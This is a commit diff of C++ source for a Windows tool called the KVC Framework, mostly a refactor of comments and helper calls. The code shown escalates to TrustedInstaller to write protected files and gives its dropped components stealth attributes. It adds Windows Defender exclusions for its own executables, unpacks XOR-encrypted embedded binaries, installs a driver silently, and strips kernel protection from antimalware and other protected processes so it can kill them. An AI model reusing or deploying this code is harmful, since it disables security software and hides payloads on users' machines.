Aktualizacja: 2025-10-16 14:35:26
This commit is contained in:
@@ -1,4 +1,5 @@
|
||||
// ControllerBinaryManager.cpp - Fixed compilation issues
|
||||
// ControllerBinaryManager.cpp - Binary component extraction and deployment with privilege escalation
|
||||
|
||||
#include "Controller.h"
|
||||
#include "common.h"
|
||||
#include "Utils.h"
|
||||
@@ -7,6 +8,7 @@
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
// Writes file with automatic privilege escalation if normal write fails
|
||||
bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std::vector<BYTE>& data) noexcept
|
||||
{
|
||||
// First attempt: normal write operation
|
||||
@@ -24,11 +26,11 @@ bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std
|
||||
SetFileAttributesW(filePath.c_str(), FILE_ATTRIBUTE_NORMAL);
|
||||
}
|
||||
|
||||
// Force delete if still locked
|
||||
// Try to delete with normal privileges first
|
||||
if (!DeleteFileW(filePath.c_str())) {
|
||||
// Use TrustedInstaller for stubborn files - call on instance
|
||||
std::wstring delCmd = L"cmd.exe /c del /f /q \"" + filePath + L"\"";
|
||||
if (!m_trustedInstaller.RunAsTrustedInstallerSilent(delCmd)) {
|
||||
// Fallback: Use TrustedInstaller for system-protected files
|
||||
INFO(L"Normal delete failed, escalating to TrustedInstaller");
|
||||
if (!m_trustedInstaller.DeleteFileAsTrustedInstaller(filePath)) {
|
||||
ERROR(L"Failed to delete existing file with TrustedInstaller: %s", filePath.c_str());
|
||||
return false;
|
||||
}
|
||||
@@ -40,25 +42,10 @@ bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std
|
||||
return true;
|
||||
}
|
||||
|
||||
// Final fallback: use TrustedInstaller to write file
|
||||
const fs::path tempDir = fs::temp_directory_path();
|
||||
const fs::path tempFile = tempDir / fs::path(filePath).filename();
|
||||
|
||||
// Write to temp location first
|
||||
if (!Utils::WriteFile(tempFile.wstring(), data)) {
|
||||
ERROR(L"Failed to write to temporary location: %s", tempFile.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Copy from temp to target with TrustedInstaller - call on instance
|
||||
std::wstring copyCmd = L"cmd.exe /c copy /y \"" + tempFile.wstring() + L"\" \"" + filePath + L"\"";
|
||||
bool copySuccess = m_trustedInstaller.RunAsTrustedInstallerSilent(copyCmd);
|
||||
|
||||
// Cleanup temp file
|
||||
DeleteFileW(tempFile.c_str());
|
||||
|
||||
if (!copySuccess) {
|
||||
ERROR(L"TrustedInstaller copy operation failed for: %s", filePath.c_str());
|
||||
// Final fallback: write directly with TrustedInstaller privileges
|
||||
INFO(L"Using TrustedInstaller to write file to protected location");
|
||||
if (!m_trustedInstaller.WriteFileAsTrustedInstaller(filePath, data)) {
|
||||
ERROR(L"TrustedInstaller write operation failed for: %s", filePath.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -143,20 +130,20 @@ bool Controller::WriteExtractedComponents(const std::vector<BYTE>& kvcPassData,
|
||||
SetFileAttributesW(kvcCryptPath.c_str(), stealthAttribs);
|
||||
SetFileAttributesW(kvcMainPath.c_str(), stealthAttribs);
|
||||
|
||||
// Add Windows Defender exclusions for deployed components
|
||||
INFO(L"Adding Windows Defender exclusions for deployed components");
|
||||
// Add Windows Defender exclusions for deployed components
|
||||
INFO(L"Adding Windows Defender exclusions for deployed components");
|
||||
|
||||
// Add paths (all files)
|
||||
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcPassPath.wstring());
|
||||
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcCryptPath.wstring());
|
||||
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcMainPath.wstring());
|
||||
// Add paths (all files)
|
||||
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcPassPath.wstring());
|
||||
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcCryptPath.wstring());
|
||||
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcMainPath.wstring());
|
||||
|
||||
// Add processes (executables only)
|
||||
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc_pass.exe");
|
||||
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc.exe");
|
||||
// Add processes (executables only)
|
||||
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc_pass.exe");
|
||||
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc.exe");
|
||||
|
||||
INFO(L"Windows Defender exclusions configured successfully");
|
||||
|
||||
INFO(L"Windows Defender exclusions configured successfully");
|
||||
|
||||
INFO(L"Binary component extraction and deployment completed successfully");
|
||||
return true;
|
||||
|
||||
@@ -192,22 +179,22 @@ bool Controller::LoadAndSplitCombinedBinaries() noexcept
|
||||
INFO(L"Successfully loaded kvc.dat (%zu bytes)", encryptedData.size());
|
||||
|
||||
// Decrypt using XOR cipher with predefined key
|
||||
auto decryptedData = Utils::DecryptXOR(encryptedData, KVC_XOR_KEY);
|
||||
if (decryptedData.empty()) {
|
||||
ERROR(L"XOR decryption failed - invalid encrypted data");
|
||||
return false;
|
||||
}
|
||||
auto decryptedData = Utils::DecryptXOR(encryptedData, KVC_XOR_KEY);
|
||||
if (decryptedData.empty()) {
|
||||
ERROR(L"XOR decryption failed - invalid encrypted data");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"XOR decryption completed successfully");
|
||||
INFO(L"XOR decryption completed successfully");
|
||||
|
||||
// Split combined binary into separate PE components
|
||||
std::vector<BYTE> kvcPassData, kvcCryptData;
|
||||
if (!Utils::SplitCombinedPE(decryptedData, kvcPassData, kvcCryptData)) {
|
||||
ERROR(L"Failed to split combined PE data into components");
|
||||
return false;
|
||||
}
|
||||
// Split combined binary into separate PE components
|
||||
std::vector<BYTE> kvcPassData, kvcCryptData;
|
||||
if (!Utils::SplitCombinedPE(decryptedData, kvcPassData, kvcCryptData)) {
|
||||
ERROR(L"Failed to split combined PE data into components");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (kvcPassData.empty() || kvcCryptData.empty()) {
|
||||
if (kvcPassData.empty() || kvcCryptData.empty()) {
|
||||
ERROR(L"Extracted components are empty - invalid PE structure");
|
||||
return false;
|
||||
}
|
||||
@@ -231,5 +218,4 @@ bool Controller::LoadAndSplitCombinedBinaries() noexcept
|
||||
ERROR(L"Unknown exception during kvc.dat processing");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -248,14 +248,12 @@ bool Controller::InstallDriver() noexcept {
|
||||
INFO(L"Target driver path: %s", driverPath.c_str());
|
||||
|
||||
// Ensure directory exists with TrustedInstaller privileges
|
||||
DWORD attrs = GetFileAttributesW(driverDir.c_str());
|
||||
if (attrs == INVALID_FILE_ATTRIBUTES) {
|
||||
std::wstring createDirCmd = L"cmd.exe /c mkdir \"" + driverDir.wstring() + L"\"";
|
||||
if (!m_trustedInstaller.RunAsTrustedInstallerSilent(createDirCmd)) {
|
||||
ERROR(L"Failed to create driver directory");
|
||||
return false;
|
||||
}
|
||||
INFO(L"Creating driver directory with TrustedInstaller privileges...");
|
||||
if (!m_trustedInstaller.CreateDirectoryAsTrustedInstaller(driverDir.wstring())) {
|
||||
ERROR(L"Failed to create driver directory: %s", driverDir.c_str());
|
||||
return false;
|
||||
}
|
||||
DEBUG(L"Driver directory ready: %s", driverDir.c_str());
|
||||
|
||||
// Write driver file directly with TrustedInstaller privileges
|
||||
INFO(L"Writing driver file with TrustedInstaller privileges...");
|
||||
@@ -332,13 +330,9 @@ bool Controller::InstallDriverSilently() noexcept {
|
||||
fs::path driverDir = GetDriverStorePath();
|
||||
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
|
||||
|
||||
// Ensure directory exists
|
||||
DWORD attrs = GetFileAttributesW(driverDir.c_str());
|
||||
if (attrs == INVALID_FILE_ATTRIBUTES) {
|
||||
std::wstring createDirCmd = L"cmd.exe /c mkdir \"" + driverDir.wstring() + L"\"";
|
||||
if (!m_trustedInstaller.RunAsTrustedInstallerSilent(createDirCmd)) {
|
||||
return false;
|
||||
}
|
||||
// Ensure directory exists with TrustedInstaller privileges
|
||||
if (!m_trustedInstaller.CreateDirectoryAsTrustedInstaller(driverDir.wstring())) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Write driver directly with TrustedInstaller privileges
|
||||
|
||||
@@ -1,15 +1,3 @@
|
||||
/**
|
||||
* @file ControllerProcessOperations.cpp
|
||||
* @brief Process operations and protection management implementation
|
||||
* @author Marek Wesolowski
|
||||
* @date 2025
|
||||
* @copyright KVC Framework
|
||||
*
|
||||
* Implements kernel-level process enumeration, protection manipulation,
|
||||
* termination, and batch operations through driver session management.
|
||||
* Provides caching for efficient multi-operation workflows.
|
||||
*/
|
||||
|
||||
#include "Controller.h"
|
||||
#include "common.h"
|
||||
#include "Utils.h"
|
||||
@@ -18,31 +6,9 @@
|
||||
#include <tlhelp32.h>
|
||||
#include <unordered_map>
|
||||
|
||||
// ============================================================================
|
||||
// EXTERNAL GLOBALS
|
||||
// ============================================================================
|
||||
|
||||
/** @brief Global flag for user interruption (Ctrl+C) */
|
||||
extern volatile bool g_interrupted;
|
||||
|
||||
// ============================================================================
|
||||
// DRIVER SESSION MANAGEMENT
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Begins a driver session with automatic reuse
|
||||
*
|
||||
* Session lifecycle management:
|
||||
* 1. Checks for active session within 5-second window
|
||||
* 2. Reuses existing session if available
|
||||
* 3. Initializes new driver session if needed
|
||||
* 4. Updates usage timestamp for session tracking
|
||||
*
|
||||
* @return bool true if driver session is ready, false on failure
|
||||
*
|
||||
* @note Optimizes performance by avoiding repeated driver load/unload
|
||||
* @note Session reuse window: 5 seconds
|
||||
*/
|
||||
// Checks for active session within 5s window, reuses if available, otherwise initializes new session
|
||||
bool Controller::BeginDriverSession()
|
||||
{
|
||||
if (m_driverSessionActive) {
|
||||
@@ -63,21 +29,7 @@ bool Controller::BeginDriverSession()
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Ends driver session with optional keep-alive
|
||||
*
|
||||
* Cleanup sequence:
|
||||
* 1. Checks if session is active
|
||||
* 2. If not forced, maintains session for 10 seconds
|
||||
* 3. Performs atomic cleanup on forced termination
|
||||
* 4. Clears kernel address cache
|
||||
* 5. Clears process list cache
|
||||
*
|
||||
* @param force If true, terminates immediately; if false, allows keep-alive
|
||||
*
|
||||
* @note Keep-alive window optimizes batch operations
|
||||
* @note Always clears caches on session end
|
||||
*/
|
||||
// Ends driver session with optional keep-alive window (10s), clears caches on forced termination
|
||||
void Controller::EndDriverSession(bool force)
|
||||
{
|
||||
if (!m_driverSessionActive) return;
|
||||
@@ -95,32 +47,12 @@ void Controller::EndDriverSession(bool force)
|
||||
m_cachedProcessList.clear();
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Updates driver usage timestamp for session lifetime management
|
||||
*
|
||||
* @note Called on every driver operation to extend session lifetime
|
||||
*/
|
||||
void Controller::UpdateDriverUsageTimestamp()
|
||||
{
|
||||
m_lastDriverUsage = std::chrono::steady_clock::now();
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// KERNEL ADDRESS CACHE MANAGEMENT
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Refreshes kernel address cache from current process list
|
||||
*
|
||||
* Cache refresh process:
|
||||
* 1. Clears existing cache entries
|
||||
* 2. Enumerates all running processes
|
||||
* 3. Maps PID to kernel EPROCESS address
|
||||
* 4. Updates cache timestamp
|
||||
*
|
||||
* @note Cache reduces kernel enumeration overhead
|
||||
* @note Called automatically when cache expires (30 seconds)
|
||||
*/
|
||||
// Clears cache, enumerates all processes, maps PID to kernel EPROCESS address
|
||||
void Controller::RefreshKernelAddressCache()
|
||||
{
|
||||
m_kernelAddressCache.clear();
|
||||
@@ -133,22 +65,7 @@ void Controller::RefreshKernelAddressCache()
|
||||
m_cacheTimestamp = std::chrono::steady_clock::now();
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Retrieves cached kernel address for process ID
|
||||
*
|
||||
* Lookup strategy:
|
||||
* 1. Checks cache expiration (30-second TTL)
|
||||
* 2. Refreshes cache if stale
|
||||
* 3. Returns cached address if available
|
||||
* 4. Performs manual search if not cached
|
||||
* 5. Updates cache with found address
|
||||
*
|
||||
* @param pid Process ID to lookup
|
||||
* @return std::optional<ULONG_PTR> Kernel EPROCESS address or nullopt
|
||||
*
|
||||
* @note Automatically maintains cache freshness
|
||||
* @note Falls back to manual search for new processes
|
||||
*/
|
||||
// Returns cached kernel address with 30s TTL, refreshes if stale, falls back to manual search
|
||||
std::optional<ULONG_PTR> Controller::GetCachedKernelAddress(DWORD pid)
|
||||
{
|
||||
auto now = std::chrono::steady_clock::now();
|
||||
@@ -173,19 +90,7 @@ std::optional<ULONG_PTR> Controller::GetCachedKernelAddress(DWORD pid)
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PROCESS TERMINATION - PUBLIC API
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Terminates process by PID with driver support
|
||||
*
|
||||
* @param pid Process ID to terminate
|
||||
* @return bool true if termination successful
|
||||
*
|
||||
* @note Uses automatic protection elevation for protected processes
|
||||
* @note Forces session cleanup after operation
|
||||
*/
|
||||
// Terminates process by PID with automatic protection elevation
|
||||
bool Controller::KillProcess(DWORD pid) noexcept
|
||||
{
|
||||
bool result = KillProcessInternal(pid, false);
|
||||
@@ -193,22 +98,7 @@ bool Controller::KillProcess(DWORD pid) noexcept
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Terminates all processes matching name pattern
|
||||
*
|
||||
* Termination sequence:
|
||||
* 1. Begins driver session
|
||||
* 2. Finds all processes matching pattern
|
||||
* 3. Terminates each match with protection elevation
|
||||
* 4. Tracks success/failure counts
|
||||
* 5. Ends driver session
|
||||
*
|
||||
* @param processName Process name or pattern (supports wildcards)
|
||||
* @return bool true if at least one process terminated
|
||||
*
|
||||
* @note Supports wildcard patterns (e.g., "chrome*")
|
||||
* @note Respects user interruption (Ctrl+C)
|
||||
*/
|
||||
// Terminates all processes matching name pattern with wildcard support
|
||||
bool Controller::KillProcessByName(const std::wstring& processName) noexcept
|
||||
{
|
||||
if (!BeginDriverSession()) return false;
|
||||
@@ -243,15 +133,7 @@ bool Controller::KillProcessByName(const std::wstring& processName) noexcept
|
||||
return successCount > 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Terminates multiple processes by PID list
|
||||
*
|
||||
* @param pids Vector of process IDs to terminate
|
||||
* @return bool true if at least one process terminated
|
||||
*
|
||||
* @note Uses single driver session for all operations
|
||||
* @note Respects user interruption
|
||||
*/
|
||||
// Terminates multiple processes by PID list using single driver session
|
||||
bool Controller::KillMultipleProcesses(const std::vector<DWORD>& pids) noexcept
|
||||
{
|
||||
if (pids.empty()) {
|
||||
@@ -285,20 +167,7 @@ bool Controller::KillMultipleProcesses(const std::vector<DWORD>& pids) noexcept
|
||||
return successCount > 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Terminates multiple processes by mixed PID/name targets
|
||||
*
|
||||
* Target resolution:
|
||||
* 1. Parses each target as PID (numeric) or name (pattern)
|
||||
* 2. Resolves all names to PIDs with pattern matching
|
||||
* 3. Deduplicates PID list
|
||||
* 4. Terminates all resolved processes
|
||||
*
|
||||
* @param targets Vector of PIDs (as strings) or process names
|
||||
* @return bool true if at least one process terminated
|
||||
*
|
||||
* @note Supports mixed input: {"1234", "chrome.exe", "note*"}
|
||||
*/
|
||||
// Terminates processes by mixed PID/name targets, resolves patterns and deduplicates
|
||||
bool Controller::KillMultipleTargets(const std::vector<std::wstring>& targets) noexcept
|
||||
{
|
||||
if (targets.empty()) return false;
|
||||
@@ -342,27 +211,7 @@ bool Controller::KillMultipleTargets(const std::vector<std::wstring>& targets) n
|
||||
return successCount > 0;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PROCESS PROTECTION MANIPULATION - PUBLIC API
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Protects process by PID with specified protection level
|
||||
*
|
||||
* Protection application:
|
||||
* 1. Validates process is not already protected
|
||||
* 2. Parses protection level and signer type
|
||||
* 3. Calculates combined protection byte
|
||||
* 4. Writes to EPROCESS.Protection field
|
||||
*
|
||||
* @param pid Process ID to protect
|
||||
* @param protectionLevel Protection level string ("PP" or "PPL")
|
||||
* @param signerType Signer type string (e.g., "WinTcb", "Antimalware")
|
||||
* @return bool true if protection applied successfully
|
||||
*
|
||||
* @note Fails if process is already protected
|
||||
* @note Use SetProcessProtection to override existing protection
|
||||
*/
|
||||
// Applies protection to process, fails if already protected
|
||||
bool Controller::ProtectProcess(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept
|
||||
{
|
||||
if (!BeginDriverSession()) {
|
||||
@@ -402,15 +251,7 @@ bool Controller::ProtectProcess(DWORD pid, const std::wstring& protectionLevel,
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Removes protection from process by PID
|
||||
*
|
||||
* @param pid Process ID to unprotect
|
||||
* @return bool true if protection removed successfully
|
||||
*
|
||||
* @note Fails if process is not protected
|
||||
* @note Sets EPROCESS.Protection to 0
|
||||
*/
|
||||
// Removes protection from process, fails if not protected
|
||||
bool Controller::UnprotectProcess(DWORD pid) noexcept
|
||||
{
|
||||
if (!BeginDriverSession()) {
|
||||
@@ -442,17 +283,7 @@ bool Controller::UnprotectProcess(DWORD pid) noexcept
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Sets or overwrites process protection regardless of current state
|
||||
*
|
||||
* @param pid Process ID
|
||||
* @param protectionLevel Protection level string ("PP" or "PPL")
|
||||
* @param signerType Signer type string
|
||||
* @return bool true if protection set successfully
|
||||
*
|
||||
* @note Unlike ProtectProcess, this overwrites existing protection
|
||||
* @note Useful for changing protection levels
|
||||
*/
|
||||
// Sets or overwrites process protection regardless of current state
|
||||
bool Controller::SetProcessProtection(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept
|
||||
{
|
||||
if (!BeginDriverSession()) {
|
||||
@@ -486,71 +317,26 @@ bool Controller::SetProcessProtection(DWORD pid, const std::wstring& protectionL
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Protects process by name with specified protection level
|
||||
*
|
||||
* @param processName Process name or pattern
|
||||
* @param protectionLevel Protection level string
|
||||
* @param signerType Signer type string
|
||||
* @return bool true if protection applied successfully
|
||||
*
|
||||
* @note Uses driver-free name resolution
|
||||
* @note Fails if multiple processes match pattern
|
||||
*/
|
||||
// Protects process by name, fails if multiple matches found
|
||||
bool Controller::ProtectProcessByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept
|
||||
{
|
||||
auto match = ResolveNameWithoutDriver(processName);
|
||||
return match ? ProtectProcess(match->Pid, protectionLevel, signerType) : false;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Removes protection from process by name
|
||||
*
|
||||
* @param processName Process name or pattern
|
||||
* @return bool true if protection removed successfully
|
||||
*/
|
||||
bool Controller::UnprotectProcessByName(const std::wstring& processName) noexcept
|
||||
{
|
||||
auto match = ResolveNameWithoutDriver(processName);
|
||||
return match ? UnprotectProcess(match->Pid) : false;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Sets process protection by name
|
||||
*
|
||||
* @param processName Process name or pattern
|
||||
* @param protectionLevel Protection level string
|
||||
* @param signerType Signer type string
|
||||
* @return bool true if protection set successfully
|
||||
*/
|
||||
bool Controller::SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept
|
||||
{
|
||||
auto match = ResolveNameWithoutDriver(processName);
|
||||
return match ? SetProcessProtection(match->Pid, protectionLevel, signerType) : false;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// BATCH PROTECTION OPERATIONS - PUBLIC API
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Protects multiple processes with single driver session
|
||||
*
|
||||
* Batch protection sequence:
|
||||
* 1. Validates protection parameters
|
||||
* 2. Resolves all targets (PIDs/names) to PIDs
|
||||
* 3. Opens single driver session
|
||||
* 4. Applies protection to each process
|
||||
* 5. Tracks success/failure statistics
|
||||
*
|
||||
* @param targets Vector of PIDs or process names
|
||||
* @param protectionLevel Protection level string
|
||||
* @param signerType Signer type string
|
||||
* @return bool true if at least one process protected
|
||||
*
|
||||
* @note Skips already-protected processes
|
||||
* @note More efficient than individual calls due to session reuse
|
||||
*/
|
||||
// Protects multiple processes in single session, skips already-protected processes
|
||||
bool Controller::ProtectMultipleProcesses(const std::vector<std::wstring>& targets,
|
||||
const std::wstring& protectionLevel,
|
||||
const std::wstring& signerType) noexcept
|
||||
@@ -611,16 +397,7 @@ bool Controller::ProtectMultipleProcesses(const std::vector<std::wstring>& targe
|
||||
return successCount > 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Sets protection on multiple processes (overwrites existing)
|
||||
*
|
||||
* @param targets Vector of PIDs or process names
|
||||
* @param protectionLevel Protection level string
|
||||
* @param signerType Signer type string
|
||||
* @return bool true if at least one process modified
|
||||
*
|
||||
* @note Unlike ProtectMultipleProcesses, overwrites existing protection
|
||||
*/
|
||||
// Sets protection on multiple processes, overwrites existing protection
|
||||
bool Controller::SetMultipleProcessesProtection(const std::vector<std::wstring>& targets,
|
||||
const std::wstring& protectionLevel,
|
||||
const std::wstring& signerType) noexcept
|
||||
@@ -681,15 +458,7 @@ bool Controller::SetMultipleProcessesProtection(const std::vector<std::wstring>&
|
||||
return successCount > 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Unprotects multiple processes by target list
|
||||
*
|
||||
* @param targets Vector of PIDs or process names
|
||||
* @return bool true if all targets successfully unprotected
|
||||
*
|
||||
* @note Returns true only if ALL targets unprotected
|
||||
* @note Use for partial success checking
|
||||
*/
|
||||
// Unprotects multiple processes, returns true only if ALL succeed
|
||||
bool Controller::UnprotectMultipleProcesses(const std::vector<std::wstring>& targets) noexcept
|
||||
{
|
||||
if (targets.empty()) return false;
|
||||
@@ -722,26 +491,7 @@ bool Controller::UnprotectMultipleProcesses(const std::vector<std::wstring>& tar
|
||||
return successCount == totalCount;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// SIGNER-BASED MASS OPERATIONS
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Unprotects all processes with specified signer type
|
||||
*
|
||||
* Mass unprotection workflow:
|
||||
* 1. Validates signer type
|
||||
* 2. Enumerates all protected processes
|
||||
* 3. Filters by signer type
|
||||
* 4. Saves state to session manager for restoration
|
||||
* 5. Removes protection from all matches
|
||||
*
|
||||
* @param signerName Signer type name (e.g., "WinTcb", "Antimalware")
|
||||
* @return bool true if at least one process unprotected
|
||||
*
|
||||
* @note State saved for potential restoration with restore command
|
||||
* @note Respects user interruption
|
||||
*/
|
||||
// Unprotects all processes with specified signer, saves state for restoration
|
||||
bool Controller::UnprotectBySigner(const std::wstring& signerName) noexcept
|
||||
{
|
||||
auto signerType = Utils::GetSignerTypeFromString(signerName);
|
||||
@@ -791,24 +541,7 @@ bool Controller::UnprotectBySigner(const std::wstring& signerName) noexcept
|
||||
return successCount > 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Sets protection for all processes with specified current signer type
|
||||
*
|
||||
* Mass protection workflow:
|
||||
* 1. Validates current signer, new signer and protection level
|
||||
* 2. Enumerates all processes with current signer type
|
||||
* 3. Applies new protection level and signer to all matches
|
||||
* 4. Processes protection changes in batch
|
||||
*
|
||||
* @param currentSigner Current signer type to filter processes (e.g., "WinTcb", "Microsoft")
|
||||
* @param level New protection level to apply (e.g., "Windows", "WindowsLight")
|
||||
* @param newSigner New signer type to apply (e.g., "Antimalware", "WinTcb")
|
||||
* @return bool true if at least one process protection was successfully modified
|
||||
*
|
||||
* @note Changes protection for both currently running and future processes with matching signer
|
||||
* @note Respects user interruption during batch operation
|
||||
* @warning This operation cannot be automatically restored like unprotection
|
||||
*/
|
||||
// Changes protection for all processes with specified current signer
|
||||
bool Controller::SetProtectionBySigner(const std::wstring& currentSigner,
|
||||
const std::wstring& level,
|
||||
const std::wstring& newSigner) noexcept
|
||||
@@ -878,21 +611,7 @@ bool Controller::SetProtectionBySigner(const std::wstring& currentSigner,
|
||||
return successCount > 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Removes protection from all protected processes
|
||||
*
|
||||
* Global unprotection workflow:
|
||||
* 1. Enumerates all protected processes
|
||||
* 2. Groups by signer type
|
||||
* 3. Saves state for each signer group
|
||||
* 4. Removes protection from all processes
|
||||
* 5. Reports statistics per signer group
|
||||
*
|
||||
* @return bool true if at least one process unprotected
|
||||
*
|
||||
* @note State saved per signer for selective restoration
|
||||
* @note Provides detailed progress reporting
|
||||
*/
|
||||
// Removes protection from all protected processes, groups by signer and saves state
|
||||
bool Controller::UnprotectAllProcesses() noexcept
|
||||
{
|
||||
if (!BeginDriverSession()) {
|
||||
@@ -944,19 +663,7 @@ bool Controller::UnprotectAllProcesses() noexcept
|
||||
return totalSuccess > 0;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// SESSION STATE RESTORATION
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Restores protection for processes unprotected by signer
|
||||
*
|
||||
* @param signerName Signer type to restore
|
||||
* @return bool true if restoration successful
|
||||
*
|
||||
* @note Requires prior unprotect operation with state saved
|
||||
* @note Delegates to SessionManager for state tracking
|
||||
*/
|
||||
// Restores protection for processes unprotected by signer
|
||||
bool Controller::RestoreProtectionBySigner(const std::wstring& signerName) noexcept
|
||||
{
|
||||
if (!BeginDriverSession()) {
|
||||
@@ -968,13 +675,7 @@ bool Controller::RestoreProtectionBySigner(const std::wstring& signerName) noexc
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Restores protection for all previously unprotected processes
|
||||
*
|
||||
* @return bool true if restoration successful
|
||||
*
|
||||
* @note Restores all signer groups from current boot session
|
||||
*/
|
||||
// Restores protection for all previously unprotected processes
|
||||
bool Controller::RestoreAllProtection() noexcept
|
||||
{
|
||||
if (!BeginDriverSession()) {
|
||||
@@ -986,37 +687,12 @@ bool Controller::RestoreAllProtection() noexcept
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Displays session history with restoration states
|
||||
*
|
||||
* @note Delegates to SessionManager for display
|
||||
*/
|
||||
void Controller::ShowSessionHistory() noexcept
|
||||
{
|
||||
m_sessionMgr.ShowHistory();
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PROCESS INFORMATION AND LISTING
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Lists all protected processes in formatted table
|
||||
*
|
||||
* Display format includes:
|
||||
* - PID
|
||||
* - Process name (truncated to 28 chars)
|
||||
* - Protection level (PP/PPL)
|
||||
* - Signer type
|
||||
* - EXE signature level
|
||||
* - DLL signature level
|
||||
* - Kernel EPROCESS address
|
||||
*
|
||||
* @return bool true if at least one protected process found
|
||||
*
|
||||
* @note Uses ANSI color codes for visual categorization
|
||||
* @note Only displays processes with ProtectionLevel > 0
|
||||
*/
|
||||
// Lists all protected processes in formatted table with color coding
|
||||
bool Controller::ListProtectedProcesses() noexcept
|
||||
{
|
||||
if (!BeginDriverSession()) {
|
||||
@@ -1072,15 +748,7 @@ bool Controller::ListProtectedProcesses() noexcept
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Lists all processes with specific signer type
|
||||
*
|
||||
* @param signerName Signer type name to filter by
|
||||
* @return bool true if at least one process found
|
||||
*
|
||||
* @note Uses same display format as ListProtectedProcesses
|
||||
* @note Filters both protected and unprotected processes
|
||||
*/
|
||||
// Lists all processes with specific signer type
|
||||
bool Controller::ListProcessesBySigner(const std::wstring& signerName) noexcept
|
||||
{
|
||||
auto signerType = Utils::GetSignerTypeFromString(signerName);
|
||||
@@ -1130,7 +798,7 @@ bool Controller::ListProcessesBySigner(const std::wstring& signerName) noexcept
|
||||
}
|
||||
|
||||
if (!foundAny) {
|
||||
std::wcout << Utils::ProcessColors::RESET // RESET koloru przed komunikatem!
|
||||
std::wcout << Utils::ProcessColors::RESET
|
||||
<< L"\nNo processes found with signer type: " << signerName << L"\n";
|
||||
return false;
|
||||
}
|
||||
@@ -1141,15 +809,7 @@ bool Controller::ListProcessesBySigner(const std::wstring& signerName) noexcept
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Retrieves and displays detailed protection info for process by PID
|
||||
*
|
||||
* @param pid Process ID to query
|
||||
* @return bool true if information retrieved successfully
|
||||
*
|
||||
* @note Displays protection level, signer, signature levels
|
||||
* @note Includes dumpability analysis
|
||||
*/
|
||||
// Retrieves and displays detailed protection info for process by PID
|
||||
bool Controller::GetProcessProtection(DWORD pid) noexcept
|
||||
{
|
||||
if (!BeginDriverSession()) {
|
||||
@@ -1184,7 +844,6 @@ bool Controller::GetProcessProtection(DWORD pid) noexcept
|
||||
|
||||
std::wstring processName = Utils::GetProcessName(pid);
|
||||
|
||||
// Enable ANSI colors
|
||||
if (!Utils::EnableConsoleVirtualTerminal()) {
|
||||
ERROR(L"Failed to enable console colors");
|
||||
}
|
||||
